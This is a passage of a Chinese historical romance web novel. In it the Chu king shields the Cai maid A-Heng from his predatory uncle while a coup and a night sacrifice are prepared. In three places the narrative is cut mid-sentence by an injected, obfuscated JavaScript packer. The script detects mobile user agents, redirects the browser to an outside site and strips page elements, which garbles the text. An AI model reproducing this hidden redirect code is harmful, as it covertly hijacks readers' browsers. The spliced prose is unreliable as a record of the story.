阿姮垂首立在旁边，一声不吭。虽不明白楚王和景肱在说何事，听到楚王的回答，把取人性命说得如同碾死一只蚁虫那么随意，阿姮后背上汗毛竖起，凉意顿生。 * 祭礼推迟，所有的安排都跟着改变。王卒和寺人很快忙碌起来，在王帐内进进出出。一片喧哗，又秩序井然。 景肱告退。 楚王把一枚玉韘套到右手的拇指上。 “王上，妾想……”少女紧张的抿了抿唇角，带着一丝甜香靠近。 芈渊眸光轻睐，张弓拉开弦。 眼前这张楚楚动人的脸蛋顿时吓得变了脸色，眼睫不停的瑟缩，像惶惶飞舞的蝶翅，找不到落脚的地方。 芈渊淡淡的收回目光，落到勾住弓弦的玉韘上。 就是这么一个仅能箍住手指的小小器物，就能将弓弦牢牢的勾起来，把箭矢射到任何他想要它去的地方。 有的器物，如这玉韘，小而有用。有的人，华而不实。 小而有用的器物少见，华而不实乃至恶毒愚蠢的人，他见得多了。 不过，她看起来不坏也不蠢，似乎还有那么一点聪明灵巧的劲儿。总之，不招人烦。 只要吓唬一下就会乖得像只兔子。 楚王挽弓，阿姮没说完的话被吓得卡到嗓子眼里，稍定神才想起他手中没有箭。 他只是在试他的弓而已。 “王上！妾想说，请恕妾无知，妾不知在林中遇到的人就是大王您。”阿姮鼓起勇气再度开口。 芈渊掀开薄冷的眼皮，无声的望着她。 “蔡使曾对妾说，蔡国是楚的附庸之国，妾来侍奉王上，当如楚国子民一样倾心竭力，忠于君事。妾自知粗陋，不敢以蔡国美人自居，对大王也绝不敢有非分之想，能像寺人和庖人那样尽心服侍大王，足矣。” 她低着雪白的脖颈，肩头的曲线单薄柔顺，垂下的眉眼像精雕细琢的玉，宛转泛出柔色，清冷而艳。 她倒会自谦。越发显得巧言令色，口是心非。 “申叔偃叫你如楚民一样侍奉寡人？”芈渊勾起薄唇似笑非笑，毫不掩饰讥讽之意。 阿姮从楚王口中听到申先生的名字，不由愣住。 跟她如是说的，不是申先生，是使团的副使。 她能觉察到，楚王对蔡国和蔡侯的怒意，并没有随着时日而消散。提起使团中的任何人，都不会令楚王感到愉悦。 阿姮小心措辞道：“北方的大雁到了秋天就会飞到南方的楚国，来年春天又会回到北方。但是妾不是大雁，既来到楚国，就是楚国的小民，自是应当和楚人一样，竭力侍奉大王，听凭王上差遣。” 恭顺的话语从粉唇缓缓吐出。阿姮言毕，惝恍垂眸，看向隔在她和楚王中间的几案。案面上天然的木色纹路，勾勒出一条条田间阡陌，一只只飞鸟点缀其中。 她有一把让人听起来很舒服的嗓子，话语中藏着些许伤戚，这份哀伤恰到好处的中和了软糯发甜的嗓音，无形中使人动容，让人觉得她的话是可信的。 又一次给了芈渊在猎场上看到她时那种复杂的感觉，混合在她身上的脆弱无助和顽强隐忍，给她覆上了一层比巫人面具还要迷惑的色彩，让人忍不住想要恶劣的撕开，看看里面到底是什么？ 芈渊伸出手，越过几案，捏住她的下巴，指间一片柔腻。 跽跪在几案前的少女，瞬间被拽到楚王近前。纯净的眼睛里闪过一丝惊愕，不敢挣扎。 “记住你说的话，做寡人的奴仆，听寡人差遣，效忠于寡人，”芈渊盯着她的眼睛，一字一句的，“不要妄图用占卜猜测寡人的心思。” 楚王手一松，少女跌坐回去。 “大王！”眼看楚王起身即将步出营帐，阿姮喊道。 芈渊回头，面无表情的望着跪在地上的少女。 “令尹的妾室鹂夫人和我同是蔡人，鹂夫人对我关怀备至如同亲姊，我可以去看望她吗？” 少女两手交握捧着胸口，又成了一只诚惶诚恐的小兔子。 她眼巴巴的望着他，说：“大王身边的事，我一个字都不会跟别人讲！我只是想跟鹂阿姊说清楚，请她莫要找巫人为我占卜！” 芈渊收回目光，道：“日后在寡人身边，要像他们一样，莫要多嘴多舌，否则……” 他拿箭矢朝那几个寺人一指，话未说完就出了营帐。 阿姮怔了片刻，蓦地捂住嘴，她可不想被割掉舌头！ * 接下来几天，楚王带领公卿大夫每日天黑前入山夜燎，直到午间饭时才返回营地。 夏天的山野正是绿意盎然之时，兵车驶到山脚下不能入林，所有人只能徒步入山。国君率领王卒，昭伯和景梁等人分别带着各自的私卒，手举火把、背着弓箭浩浩荡荡的逶迤而上。 长期跟随楚王的王卒都具备机变的能力，他们很清楚，每一次狩猎无形中就是一次军事演练，绝非昭伯和景梁以为的玩乐。一路跟随楚王巡狩的几个哑巴寺人也带上弓箭和矛，和楚王的左右两广侍卫一起，在楚王身侧随行。 宫女庖人、公卿大夫的眷属奴仆，还有司巫和祭台的巫人都留在营地。从营地眺望过去，黑漆漆的山林里，漫山遍野的火把如萤光漫舞，忽明忽暗，时高时低。兵卒的号令声随着夜风飘过来，和祭台旁巫人起舞的节奏遥相呼应。 从剪影如墨的山林，到灯火煌煌的营地，比白日还要热闹几分。 阿姮把做酒曲的古法毫无保留的传授给庖人，庖人欢喜不已，对阿姮愈加亲切。 作为酒曲的回报，庖人把在巡狩路上采到的蜂蜜赠给阿姮，还教她做楚国的蜜饵。阿姮很久没有吃过家乡的甜糕，借庖厨之便又做了一些粟米甜糕。 晚上楚王出发后，阿姮带着蜜饵和甜糕回到宫女们的营帐，鹂阿姊和覃在那里等她。 营盘空了一大半，感到轻松的不止阿姮，还有阿鹂。昭伯喜欢看她跳舞，但是这几天昭伯陪楚王夜猎，从山上回来时，累得两条腿直打颤，日间要养精蓄锐，全然丧失了欣赏舞乐的兴致。阿鹂白天不用为昭伯跳舞，晚上也不需要侍寝。一闲下来，不由为她的阿姮妹妹操心。 从阿姮口中听说那天碰到的巫人就是楚王，楚王留下阿姮，却又把她打发到庖厨与庖人为伍。阿鹂无奈的直摇头，楚国国君果然和昭伯说的一样，虽贵为国君，仍是少年天性，只知玩乐，不解男女之情。 楚王不解风情，阿姮也一团天真，放着容貌身段不善加利用，整日在庖厨辛苦劳作还乐呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319383|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵的，让阿鹂无法理解。 她原本担心阿姮不是真正的蔡国乐伎，万一在楚王面前露出破绽怎么办？如今不需要有这方面的担忧，但她又不免为阿姮感到不平。 阿姮这双手应该用来为国君起舞，不该叫庖厨的烟火玷污得粗糙了。 短短几天想领悟一套舞乐是不可能的，但是对于如何侍奉男人、讨他们欢心，阿鹂自认为颇有经验，恨不能对阿姮倾囊相授。 而阿姮对自己在庖厨的差事很满意，鹂阿姊一开口想唠叨两句，就被她拿甜糕堵住嘴。 覃一边把甜糕和蜜饵大口往嘴里塞，一边瓮声瓮气的打趣阿姮：“你就是从小吃甜糕长大的吧，怪不得身上总是又甜又香呢！” 阿姮信以为真，举起袖子嗅起来。 覃和阿鹂被她的娇憨之态逗得哈哈大笑。 阿鹂笑着啐她：“阿覃骗你的话你都信！我说的你偏生不听！” 阿姮放下袖子，也冲她俩笑。哪有什么甜的香的，要说鱼鲜味仔细闻倒是能闻出来，她白天刚做了鱼羹。 难怪她给楚王布膳食时，楚王不动声色的打量她，还轻不可察的皱了眉头。 楚王倒没说什么。 与楚王接触久了，阿姮感觉楚王其实是个比较好伺候的人，她和寺人庖人们只要安安分分的当差，少说话、别添乱，就不会被楚王为难。 这些说了鹂阿姊她们也不会信的，阿姮翘唇微笑，捧着甜糕小口小口的品尝，默默回味阿母做出来的味道。 记忆中熟悉的味道让她一夜好眠，次日清晨，营地突然人喧马嘶，迎来一阵喧哗。 楚王的叔父抵达营地。 阿姮从宫女的营区返回王帐，被拦在半路。 一个肥硕高壮的中年男子从车辇上下来，无视跪在地上恭迎的侍卫，撇开众人，朝阿姮走来。 “你就是蔡国献上的美人？果然鲜嫩可人正值采撷……” 他口气轻佻，说着话公然朝阿姮伸出手来拉她。 阿姮蓦地避开，低头往道路旁边退让。 男子的手扫过少女的袖子扑了个空，肥厚的手掌在空中捻了一把，阴冷之色从眼中闪过。 阿姮有限的人生中从未接触过这种轻浮露骨的男人。随阿父学习铸术的邻家阿兄从小像亲兄长一样爱护她。景氏少年固然热情到略显唐突，但言行举止总还是知礼的。申先生更不是这样的人。就连脾气不太好的楚王，也不会对她动手动脚。 这个男人，就是楚王口口声声非常想念、宁可推迟祭典也要等的王叔。楚王的祖父在位时，把庶子公子度封到庸地镇守，抵御东边的夷人。芈渊即位后，公子度就成了时任楚王的王叔，被朝中尊称为王叔度。 阿姮得罪不起。 不知王叔度为何一眼认出她。 他看她的目光，龌龊，急不可耐，比看到食物就流口水的豺狗还可怕。 阿姮心中充满不安。 庖人听到动静，提着刀从庖厨跑出来。远远的看到华丽的车辇，庖人停下脚步，迟疑的喊了一声阿姮，叫她去庖厨帮忙。 阿姮趁机越过王叔度的车辇迅速向庖人走去，王叔度庞大的身躯横过来，堵在她面前。 “美人何不与吾登车同行？是不愿意吗？” 一双阴鸷的眼珠子从浮肿的眼眶里凸显出来，直勾勾的盯着她。 “妾是侍奉大王的宫女，不敢劳驾王叔。”阿姮把头埋得不能再低，声音颤抖不止。 王叔度不怀好意的笑起来，“侍奉大王？美人且等着，我从大王那里把你讨过来，你是怎生伺候大王的，便怎么伺候我。” 阿姮控制不住的发抖，一股恶心的浊气几乎从胸口呕出来。面对王叔度再次伸过来拉扯的手，她不顾尊卑，使出全身的力气要把他推开。 “贱奴！”王叔度勃然大怒，伸手朝阿姮脸上掌掴下去。 他的手还没落到阿姮脸上，风声突然变得锐利，一支利箭从远处飞来，直射向他高高挥舞起来的衣袖！ 8. 第 8 章 众人还没反应过来，箭矢穿透长空，将王叔度的袖子牢牢的钉到他身后车辇的衡木上。王叔度大惊失色，脸上的赘肉颤个不停。 “寡人的人冲撞了王叔，寡人自会亲自教训，王叔何必跟一个小民计较。” 是楚王慵懒的声音。 预料中的耳光没有落到脸上。阿姮捂着脸没有动，泪水再也忍不住，簌簌的滚落下来。 朦胧的泪眼中，楚王模糊的影子还停留在远处。 御者驾车，从楚王身后飞速行驶过来，没有片刻停留，很快超过楚王。 芈渊握弓的手垂下来，向前疾步一跃，腾空跳上王车。 王车继续疾驰向前，车轮碾压地面，发出轰隆隆的响动，顷刻之间到了阿姮面前。 尘土扬起来，阿姮抬起袖子遮住脸。放下袖子时，面庞上的泪痕被擦拭干净，只有眼眶还是红的。 芈渊神情淡淡的，阿姮向他行礼，他的目光也没有在她身上停留。 跟在王车后的甲士呼啦啦如潮水涌上来。阿姮退出人潮，从寺人手中接过盛满浆果的竹篮，随运送猎物的王卒向王帐旁的庖厨走去。 “大王这是何意！区区贱奴尔！是摸不得还是碰不得？” “哗啦”一声，王叔度愤怒的扯断袖子。别人不知道，刚才可把他吓了个半死，冰冷的利箭擦过他的臂膀，只差一点就扎到肉了！ “王叔息怒，我帐中也有一个蔡国美人，最擅舞乐，今晚就叫她为您舞上一曲……” 王叔度咬牙切齿，昭伯谈笑打圆场，二人的交谈声在阿姮身后断断续续的传来。 昭伯口中的“蔡国美人”是鹂阿姊。 听了昭伯的话，王叔度意味不明的笑了。 王叔度刺耳的笑声就像一串丑陋的虫豸，直往阿姮的耳朵里钻，令她毛骨悚然，加紧了脚步离开。 “王叔既已抵达，去告知司巫今晚举行祭典。”楚王打断昭伯和王叔度的交谈，向王卒发令。 阿姮心口微松，今晚就举行祭典的话，王叔度必然没空欣赏什么舞乐，但愿过了今夜的祭典，王叔度就回庸地去。 隐隐约约的听见楚王又道：“今夜通宵祭祀，王叔先回营帐安歇，稍后寡人会叫人把寡人的冕服送一套到王叔帐中，将您损坏的衣袍换下来。” “臣谢过王上！”王叔度大喜过望，向芈渊稽首拜谢后再抬头，只见小美人身影一闪，消失在林立的帐篷间。 他悻悻的哼了一声，想起楚王赐冕服，心中又不免飘飘然起来。 冕服只有国君才能穿，芈渊轻描淡写就把国君的冠服赐给臣子，就是当今的周天子也做不出这么冒失的事。 王叔度早就探听到，他这个好侄儿即位后任由昭伯弄权，今日一看，果然空有一身蛮力，于治国一窍不通。 他在来郢都之前犹豫再三，还暗中找庸地的巫人为他占卜吉凶，卦象显示此行有兵戈之险，导致他这一路上都在踟躇和犹疑中度过。 如今看来是来对了。夺位之争，必然要起兵戈，等他杀了芈渊，坐上国君的位置，小美人还不得乖乖的坐到他怀里来？ 王叔度放下戒心，率兵卒扬长而去。 昭伯目光复杂的看了一眼王叔度带来的数十辆兵车和精兵步卒。 由谁来做这个昏庸无能的国君，是一个懵懂无知的少年，还是一个不好掌控的蠢物？在昭伯看来，答案是显而易见的。 当然，必要时还得把王叔度架起来捧一捧。 时不时纵容野狼在家畜的圈外游走，家畜才会加倍感激主人的保护。 昭伯将精光敛入眼中，恭敬的向楚王告退。 芈渊长腿一迈回到王帐，脸上的散漫之态消失的无影无踪。 他叫了一个哑巴寺人跟在王叔度的队伍后头把冕服送过去。 随手开始摆弄箭簇。 一套冕服算得了什么。 一个表面恭敬实则大权独揽的令尹，他也不需要。 连续几个漫长的夜燎，昭伯等人和他们手下的私卒疲惫不堪，必然在今夜的祭典上懈怠下来。王叔度长途跋涉，亦是兵倦马疲，加之此人天性中的犹豫和迟疑，注定他永远无法做出正确的决断，也不能采取果敢的行动。 只有随他在巡狩路上奋力操练过的王卒还保持着充沛的斗志，磨刀霍霍，蓄势待发。 不管是残暴的野狼，还是狡诈的狐狸，都将在他的猎场上殒命。 真正的猎杀即将开始。 他无穷的精力终于迎来了释放的时机。 还有比这更让人血脉偾张的事吗？ “王上……”细弱的唤声如一缕微风吹过来，打破了芈渊澎湃的思绪。 素衣少女站在王帐门口，眸光怯怯的朝他望过来。 神态和往常一样谦卑、恭顺，可是怎么看都像被日头曝晒过的花草，有些发蔫，少了几分鲜活。 芈渊皱了皱眉。 “膳食准备好了？”他放下箭簇，随口问道。 “尚未，”阿姮慌忙解释，“庖叔正在料理猎物。” 昨夜的狩猎，收获颇丰。狐和貉的皮毛水滑，适合剥了皮用来做冬天的裘衣。野兔和麋鹿肉质细嫩，庖人将其宰杀烹煮，供楚王食用。 自从在猎场上差点被豺狗扑咬，阿姮对狩猎产生了阴影，连带他们带回来的那些半死不活的猎物也让她发憷。看到那一双双湿漉漉的眼睛，听到它们散乱急促的呼吸，她既害怕，又心有戚戚。 庖人忙得不可开交，阿姮心神不宁，见寺人捧着冕服跟在王叔度的车队后离开，她从庖厨出来，不知不觉走到楚王的王帐。 楚王又救了她一回。 既然膳时还未到，芈渊刚要示意她退下，又屈指敲了敲案几，改口：“过来。” 阿姮走到楚王的案前。 “把头抬起来。”芈渊命令道。 阿姮不解的照做，眼睫扑闪个不停。 “抬头，往前看，眼睛不要像受到惊吓的野畜那样到处乱窜，余光看到寡人即可。” 芈渊从席上起身，手执一支箭羽走到阿姮身边。 没有安装簇头的木杆沿着少女瑟缩的后颈和肩背往下游移。 来自楚王的威慑力，不轻不重的，从木杆的尾端传递到阿姮的后背。所到之处，微微刺痒，让阿姮极为不适，又不得不按照楚王游走在她后背上的力量指引，努力将每一块骨头都挺直起来。 “很好，这才有执戈待命的王卒风范，任何人都欺负不了你，不过……” 弥漫在后背的压迫感消失，芈渊手中的木杆绕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319384|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到阿姮身前，托起她的下颌，把她的脸彻底抬高。她彻底无法退缩。 楚王的脸措不及防的映入眼中。此时的楚王一改往日的矜傲之态，微聚的眉峰下，嵌了一双深潭寒玉似的眼睛，正肃然打量她的神态。 “寡人说过，往前看，不要退。”楚王一字一句的说。 一股酸热的暖流蓦地从阿姮的心底冒出来，从四面八方冲刷而过，让她的心跳不受控制的加快，快得要跳出来。 阿姮不知道自己这是怎么了，只能拼命将杂念从脑海中摒除，努力的按照楚王说的挺胸抬头直视前方。 芈渊满意的收了木杆，眉头舒展。 往这个姑娘手里塞一根长戟，就可以像执戟甲士那样到王帐外巡逻了。 不过她可能连一根木杆都扛不起来。 芈渊勾起薄唇，唇边浮现出一缕轻嘲，目光随意的落到阿姮身上，缓缓凝住。 原先总是含胸垂头的她，有一种柔顺无依的美。被他用兵卒的站姿调整过后，少女抬头挺胸舒展开身形，不止她柔美的脸庞焕发出不一样的光彩，轻薄夏衣覆盖下的躯体，更是凸现出曼妙的曲线，让她整个人变得挺拔夺目。 她身上或挺翘或浑圆的那几处，像挂在树上吸足了水分的浆果，随着她小心翼翼的呼吸，上面和下面的果实似乎都在颤动，沉甸甸的，让人忍不住想捏一捏，挤出里面甘美的汁液。 芈渊口腔发紧，干涩得厉害。 他猛然意识到，这不是她的问题。 不在于她是低着头，还是把头抬起来。 在某些方面，他可能和王叔度是一样卑劣的。 芈渊转而一想，所以她这是又在媚惑他么？ 可惜又被他看穿了。 芈渊讥嘲般的轻嗤了一声，突然涌动出来的那股隐秘的兴奋劲就淡了下去。 “王上，妾今天犯了错，您罚我吧。” 怎么惩罚她都行，只要别把她送给王叔度。阿姮在心里默默的说。 芈渊漫不经心的回道：“不是你的错。” 阿姮不敢相信自己的耳朵。 她得罪了他的王叔。她应该向他请罪，求他饶恕。 他却冷不丁的教她如何站立如何抬头，才不会被人轻侮。 他还说，不是她的错。 那股在她心中不断回荡的暖流，汇聚成对楚王的感激，一如当初对申先生的那般。 芈渊懒洋洋的扔了箭羽。 不是每次都能赶上他有心情为她解围。她也不能永远靠别人的怜悯活着。 芈渊站定，从袖子中伸出左手手臂，又伸出右手两指，在左臂上一边指点一边说：“从手背手腕，一直到肘尖内侧，都有致人酸麻的筋脉，只凭借技巧，不使用蛮力强攻，就能一招制胜使人乏力不支。” 阿姮的眼睛发亮，紧紧的盯着他手指移动的位置，生怕漏掉什么。 她太渴望自己也能变得强大起来，也能拥有令人忌惮的力量，就像楚王轻而易举就能做到的那样。 “真的可以吗？我可以试试么？”阿姮连声问道。 极度的渴望让她忘记了，站在她面前的是一个骄横傲慢的国君。 她仰头望着芈渊。 少女的眼睛太明亮太清澈，让人难以拒绝。 9. 第 9 章 芈渊垂下眼皮，伸出手肘。 硬邦邦的臂膊递到阿姮面前，她张开双手使劲掐上去，隔着衣袖都感受到筋肉蓬勃的力量。 楚王不动如山。 根本没有他说得那么容易。阿姮松开了手。 芈渊收回被掐得发痒的手肘，如果此时是在和王卒操练对战，他早就该呵斥对方蠢笨了。 面对这个一脸失望的少女，芈渊心中微动，说：“以弱胜强，完全靠智取，也不是没有办法，可屈膝将全身之力汇聚于膝头，攻击对方腹胯之下的两裆。男子两腿间的命门，亦是脆弱之处……” 芈渊说着突然停下来，轻咳了声。 他可真是闲的。 阿姮一脸恭谨，神色如常，两只耳朵尖却悄悄的泛起粉色。尽管楚王很快以咳声中断，她竟然听懂了…… 自从看过仅以布片遮身的巫人起舞，在覃不住嘴的熏陶下，她以为再听到什么都不会觉得惊奇。只是覃不曾说过，还能这样么？ 臊意不受控制的从耳根往脸上蔓延，她恨不能立刻跟楚王告退。 安静的帐内，一道沉闷的咕噜声轰隆作响。 阿姮难以置信的瞟了一眼。是楚王的肚子在咕咕叫。 “妾去催庖叔、快些把您的膳食送上来！”阿姮手脚僵硬的同楚王行礼告退，飞快的跑了出去。 芈渊摸了把脸，有些热。 心下又不以为然。 他的精力远比常人旺盛，对饮食的需求相应大得多，偶尔也会有腹中饥饿的时候，有什么好大惊小怪的？看把她稀奇的，眼珠子都快掉下来。 芈渊很快把刚才的尴尬扔到脑后，坦然坐回席上，一边摆弄箭簇一边暗忖，他今日待人过于和蔼了些，只怕她不该有的心思又活泛了。 不会再有下次。 少年国君神色淡漠，黑长的睫毛垂下来，遮住了他眼底的碎光。 少顷，庖厨差人送膳食过来。 出现在王帐门口的少女不是阿姮。 “表兄！”景稚脚步轻快的走进帐中。 景稚的仆女托着食盘，跟在她身后。 芈渊的脸沉下来：“你应该用敬语称呼寡人。” “王上，”景稚不情不愿的改口，小声争辩道，“您做太子的时候，还允许我这么喊呢！” 芈渊对小姑娘们的矫揉作态没有兴趣，也懒得搭理，结果就变成“允许”了。 女人果然是不能纵容的。 哑巴寺人不等楚王发令，上前拦住她们，接过食盘仔细验看，方盛放到几案上。 “都是从大王的庖厨端过来的，我难道还会给大王下毒不成！”景稚不服气的嘀咕。 她原本想借酿酒一事将蔡女从王宫中悄悄除去，没想到事与愿违，反倒给了薄媪机会，叫她把蔡女送到大王身边做了贴身宫女。 她正在家生闷气，堂兄景肱回家查找古籍，说是和铸匠在铜器上使用的铭文有关。景稚便想起蔡女就是因为识得几个铭文，才侥幸逃过她的算计。她既不服气，又心生疑惑，遂令自己的侍卫去扣留蔡国使团的传舍暗中打探消息。 这一打听，还真叫她发现了不得了的事！蔡女阿姮根本不是从蔡侯宫廷送来的美人，不是什么乐伎，而是蔡使申叔偃在半路上捡到的村姑。 大王还不知情，这个所谓的蔡国美人，只是个来路不明的乡野女子！ 景稚按捺不住激动，立即赶来找芈渊。 等她到营盘的时候，庖人刚好做出膳食，她盛气凌人的喝止住阿姮，叫自己的仆女接过食盘，兴冲冲的闯进王帐。 可大王看到她，一副倍感意外的模样，还毫不留情的训斥她。 景稚委屈的直撅嘴，寺人走过来，伸手请她离开。 “王上！臣女有重要的事情跟您禀报！”景稚拂掉哑巴寺人不知好歹伸过来的手，绕开寺人向前一步走到芈渊面前。 几个月不见，大王越发英武逼人，棱角分明有若刀裁的眼眉五官还是那么俊美出众，看得景稚不禁心跳加快，面红耳赤。 芈渊抬头，漠然的盯着她，眼中闪过一丝冷意。景稚心头刚刚泛起的微弱涟漪，顷刻就破灭了。 “大王，那个叫阿姮的蔡女，她，她……”在芈渊冰冷的注视下，景稚跽跪下来，结结巴巴的说不出一句完整的话。 眼看大王的手伸向旁边的短刃，景稚吓得呼吸一窒，瞥见食盘里的一碟甜糕，脱口而出：“大王素来不喜甜食，蔡女还呈上来此物，她居心不良！” 景稚自认为从小和大王一起长大，大王的饮食癖好她一清二楚。大王从来不食用经由蜜糖做的食物。 做出这道甜食的是蔡女，景稚刚才亲眼见她把甜糕从甗上取下来，又仔细的摆放到食盘里。 芈渊嗤地冷笑道：“这就是你的大事？” “怎、怎么不是呢？”景稚直起身子强辩道，“大王您不知道蔡女的底细，我叫人去传舍打听过……” 一道亮光闪过，短刃从芈渊手中掷出，“咣当”一声插到景稚身前的地面上。 景稚吓得尖叫一声，瘫坐在地上。 芈渊一脸阴沉，喝令道：“来人！将她和她带来的人看管起来！祭礼结束前不准离开！” 寺人马上将景稚身边的仆女捆缚住，嘴里塞上麻核，提出王帐交给王卒。景稚带来的车夫和侍卫，本在帐外等候，还没来得及声张，都被如法炮制，丢到旁边的营帐里。 送薄媪回王城的侍卫返回营地，进入王帐时，只见景梁之女在旁，侍卫愣了一下，向芈渊行礼道：“按照王上的吩咐，用于诱捕野兽的生猪都被圈养在畜圈里，已养得上了膘，可以出栏了。看守生猪的弟兄说有人去瞧过，不过没有大妨碍，请大王放心。” 侍卫说“有人去瞧过”时，不露声色的瞥了景稚一眼。 芈渊颔首，令侍卫退下。 景稚听不懂他们的暗语，以为他们又在说田猎的事。刚才一提蔡女，大王就变了脸，一副要杀人的模样，令景稚又是害怕，又气鼓鼓的。 她从未见大王对哪个女子如此维护过。 都怪可恨的蔡女。 等祭礼结束，她势必要当着大王的面戳穿蔡女的真面目！ “我自己会走！”眼看寺人再度靠近，景稚从地上站起来，双腿发抖走了出去。 芈渊从寺人手中接过短刃，拿刃尖戳了戳盘中的甜糕，一刀切下去。 梅红色的果实被蒸成了泥，融入金黄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319385|167406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粟米中，融合了谷物温热的香气，让人忍不住想要品尝。 芈渊未动。 怪不得他们出发去夜燎前，听蔡女请求寺人帮忙从山里采摘些浆果回来。自从他的庖厨中多了个女子，他的案上时常就会冒出来一些他不常吃的菜式，比如鱼羹，又比如眼前的甜糕。 如果蔡女在旁边侍奉，他从她小心克制又瞬息变化的细微表情中，也能看出这道甜糕必定是她所做。 良久，芈渊长指一伸，夹起一块被他切开的甜糕送到口中。淡淡的甜香扑鼻，味道也是清淡的，没有蜜糖那般甜腻齁人。 等他尝了几口甜糕，再把箸筷伸向鹿和兔的炙肉，他头一回发觉自己原先的口味是何等油腻。 芈渊面不改色的又拿起一块甜糕，中和残留在口腔里腻人的油荤，直到把所有膳食一扫而空。 尽管芈渊嘴上从来不说，也不得不承认，蔡女在为他料理膳食方面颇有些出其不意的巧思。她的胆怯和畏缩像兔子，那灵巧又狡黠的模样也活像一只探出爪子小心试探的兔子。 反观和她同为蔡人的蔡国使团，只有自不量力的愚蠢。 被扣留在传舍的蔡国副使等人，不老老实实的呆着，竟敢把手伸到楚国的朝堂里来。他们趁他巡狩之际，暗中勾结王叔度，意图在夏祭期间谋反。 可惜他们所有的动作都在芈渊的冷眼旁观中。他把申叔偃从使团调离，放松对副使等人的监视，就是要让这些蠢物自行露出马脚。 景稚擅自派人去传舍打探消息，差点打草惊蛇，芈渊杀她的心都有。等将王叔度等人一网打尽，他会就景稚的事一起找景梁算账。 至于蔡女—— 薄媪把她送到他身边，他将她留下，一方面是为了避免把她放出去乱了景肱的意志，另一方面，也是不想让蔡国使团的人因为一件不起眼的小事生出警觉。 今夜过后，她是死是活，看她自己的运气。 芈渊漠然不语，由寺人为他穿戴好冕服和九旒白玉冠，随后步出王帐，率领王卒往祭台而去。 和前几日一样，整个营盘呈现出松弛懈怠的样子，只有在王帐外来回巡逻的王卒依然戒备如常。 祭礼用不到楚王私厨中的庖人，庖人们结束了一天的忙碌，终于可以歇一歇，纷纷站在营帐门口左右张望。 素白的宫装倩影从庖厨走出来。 眉目柔婉的少女托着一捧没用完的浆果，笑眯眯的请庖人品尝。 芈渊面无表情的移开目光。 也罢，看她尚且安守本分，可免去她的连坐之罪。 “令侍卫小心看守王帐，不得有误。”芈渊微微顿住脚步，吩咐留守王帐的哑巴寺人。 王上头一回就细枝末节的事叮嘱他们，寺人心中讶异，不敢显露出来，只默默的颔首领命。想来是因为景氏女的缘故，大王虽然大发脾气绑了景女的下人，但还是惦记景女的安危。今夜恐怕很难安宁，景女既被羁留在王帐，她的安全理应在他们看护的范围内。 芈渊懒洋洋的看了庖厨一眼，转身离开。 阿姮隐隐察觉有一道目光投过来，她收起笑意抬头，看到一片乌沉沉的背影。身着黑色冕服的楚王被拥簇在大队人马中间，扬尘而去。 10. 第 10 章 各色旌旗在营帐间井然有序的移动，朝祭台的方向进发。阿姮的目光越过随风飘荡的旌旗，远望高处的祭台。 高约数丈的祭台外侧，是一块平坦的露台，上面摆放着数个用于盛放祭品的铜鼎。牛、羊和豕组成的三牲被称为“太牢”，巫人将它们置于鼎中点火烹煮。焰火熊熊燃烧，鼎中的沸水化作缭绕雾气，直达九天之上，与楚人的心意一起敬奉给先祖。 铜鼎一侧，白发苍苍的司巫正在用一块巨大的龟甲占卜，口中念念有词。司巫旁边是巫人在跳舞。 他们还戴着诡异的漆木面具，比起在宫女面前卖弄风情的舞姿，此时巫人们的舞蹈更加粗犷，充满刚劲的力量。 她和覃酿造的酒浆今夜就会被送到祭台上，供楚王祭祀上苍和先祖，如果幸运的话，还会得到楚王和公卿大夫品尝的机会。 楚王会像覃说的那样，赏赐她们吗？ 她原本打算，凭借酿酒一事换取楚王的恩赏——请他放申先生和使团归国。时至今日，她才意识到，自己当初想得太天真了。 楚王从王叔度面前救下她，又告诉她怎么做才不被人欺负，那时，她对楚王的感激之情完全碾压了对他的畏惧。她甚至暗想，为楚王侍奉膳食的时候，在他面前为申先生等人求情，楚王会不会答应？ 后来，景稚突然来到王帐，还被楚王的侍卫密不透风的保护起来，阿姮才蓦然惊觉，她的想法不妥。 她接近楚王的本意不是为了争宠，也无意得罪未来的楚国王后。何况，楚王从未拿她当嫔妾对待，又怎么会因为一个奴仆的央求就放过蔡国使团？ 她不会再把希望寄托到楚王身上。 还得靠她自己。 等得到楚王的赏赐，就换成钱帛，在都城找一个行走列国的商旅，请他们到晋国打探申先生的消息，想办法和申先生取得联络，再做打算。 天色渐暗，祭台上火光烈烈，巫人的身姿时而模糊时而明亮，司巫突然转身，疾步迎上前。楚王，王叔度，昭伯和景梁等公卿大夫陆续出现在祭台上。 阿姮垂下眼皮不再远眺。也不知鹂阿姊怎么样了。 